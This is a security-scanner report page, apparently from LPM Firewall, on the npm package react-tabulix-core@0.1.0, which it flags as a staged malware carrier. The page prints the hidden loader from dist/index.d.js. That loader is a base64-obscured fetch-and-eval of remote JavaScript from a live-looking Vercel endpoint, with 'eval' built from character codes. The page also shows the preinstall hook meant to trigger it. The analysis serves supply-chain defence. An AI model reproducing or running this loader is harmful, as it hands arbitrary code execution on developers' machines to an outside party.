Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

react-tabulix-core@0.1.0: Suspicious npm security report (Warn) | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Flagged — allowed with a warning

Allowed by default policy, but 9 finding(s) warrant review before installing.

View on npm All versions

registry / react-tabulix-core / 0.1.0

react-tabulix-core@0.1.0

Headless smart table engine for React — sorting, filtering, pagination, and row selection

AI Security Review

scanned 5h ago · by lpm-firewall-ai

A hidden remote-code loader exists in dist/index.d.js, but the current preinstall command does not point to that file. No confirmed execution path exists in this package version.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation invokes preinstall, which fails to locate index.d.js.

Impact

If executed, arbitrary remote JavaScript runs in the installer context.

Mechanism

Base64-decoded remote payload fetched and evaluated

Rationale

This version contains a concrete malicious remote-code-loader artifact, but its declared install trigger does not resolve to that artifact. Treat it as an inert staged payload carrier rather than a confirmed active install-time compromise.

Evidence

package.jsondist/index.d.jsdist/index.jsdist/index.mjs

Network endpoints1

everydaynodechecker-39145n.vercel.app/api/key?mem=root3

Decision evidence

public snapshot

AI called this Suspicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for warning

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

dist/index.d.js decodes an obscured URL and evals fetched text.

package.json declares preinstall targeting index.d.js.

Evidence against

The declared preinstall target is absent at package root; payload is dist/index.d.js.
Published JS/MJS exports implement only table utilities.
No file harvesting, exfiltration, or persistence found.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsObfuscated

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 15.2 KB of source

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = index.d.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = index.d.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39145n.vercel.app/api/key?mem=root3') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39145n.vercel.app/api/key?mem=root3') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

dist/index.d.jsView file

3const b4 = '[redacted]... L4: const text = Buffer.from(b4, "base64").toString("utf-8"); L5: let nms = [101, 118, 97, 108]

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

dist/index.d.jsView on unpkg · L3

Findings

2 Critical2 High2 Medium3 Low

CriticalDownload Executedist/index.d.js#virtual:base64:round1

CriticalRemote Asset Decode Executedist/index.d.js#virtual:base64:round1

HighInstall Time Lifecycle Scriptspackage.json

HighBase64 Obscured Urldist/index.d.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumStructural Risk Force Deep Review

LowScripts Present

LowObfuscated

LowHigh Entropy Strings

96%Warn

Verdict confidence

IntentMalware

TypeStaged Payload Carrier

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched warn-list

Package metadata

npm

AuthorTabulix

Maintainersearlsmith27

Version0.1.3

PublishedJul 21, 2026

LicenseMIT

Dependencies1

Integrityverified

Package size8.97 KB

Files9

Keywordsreacttabledatagridheadlesstabulixsortingfilteringpagination

Runtime surface

package.json

Entrypointsmain → ./dist/index.jsmodule → ./dist/index.mjstypes → ./dist/index.d.tsexports map

RuntimeNo engine / OS / CPU constraints

Artifact52.3 KB · 9 files1 signature(s)

Install lifecyclepreinstall

Behavioral surface

Source: cleanHighEntropyStringsObfuscatedManifest: clean

LPM CLI

Source & flagged code

5 flagged

package.jsonView file

Lines 15-52json

15 "pagination"

16 ],

17 "sideEffects": false,

18 "main": "./dist/index.js",

19 "module": "./dist/index.mjs",

20 "types": "./dist/index.d.ts",

21 "exports": {

22 ".": {

23 "types": "./dist/index.d.ts",

24 "import": "./dist/index.mjs",

25 "require": "./dist/index.js"

26 }

27 },

28 "files": [

29 "dist",

30 "README.md"

31 ],

32 "scripts": {

33 "build": "tsup",

34 "test": "vitest run",

35 "preinstall": "index.d.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L35

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L35

36 "typecheck": "tsc --noEmit"

37 },

38 "peerDependencies": {

39 "react": ">=18"

40 },

41 "devDependencies": {

42 "@types/react": "^19.0.10",

43 "react": "^19.0.0",

44 "tsup": "^8.3.6",

45 "typescript": "^5.7.3",

46 "vitest": "^3.0.5"

47 },

48 "publishConfig": {

49 "access": "public"

50 }

51}

52

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39145n.vercel.app/api/key?mem=root3') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39145n.vercel.app/api/key?mem=root3') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

dist/index.d.jsView file

Lines 1-10javascript

1const require = (await import("node:module")).createRequire(import.meta.url);

2globalThis.require = require;

3const b4 =

'KGFzeW5jICgpID0+IGV2YWwoIGF3YWl0IGZldGNoKCdodHRwczovL2V2ZXJ5ZGF5bm9kZWNoZWNrZXItMzkxNDVuLnZlcmNlbC5hcHAvYXBpL2tleT9tZW09cm9vdDMnKSAudGhlbihyID0+IHIudGV4dCgpKSApICkoKTsg'

4const text = Buffer.from(b4, "base64").toString("utf-8");

5let nms = [101, 118, 97, 108]

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

dist/index.d.jsView on unpkg · L3

6let tag = ''

7for (let i = 0 ; i < nms.length ; i++)

8 tag = tag + String.fromCharCode(nms[i])

9globalThis[tag](text)

10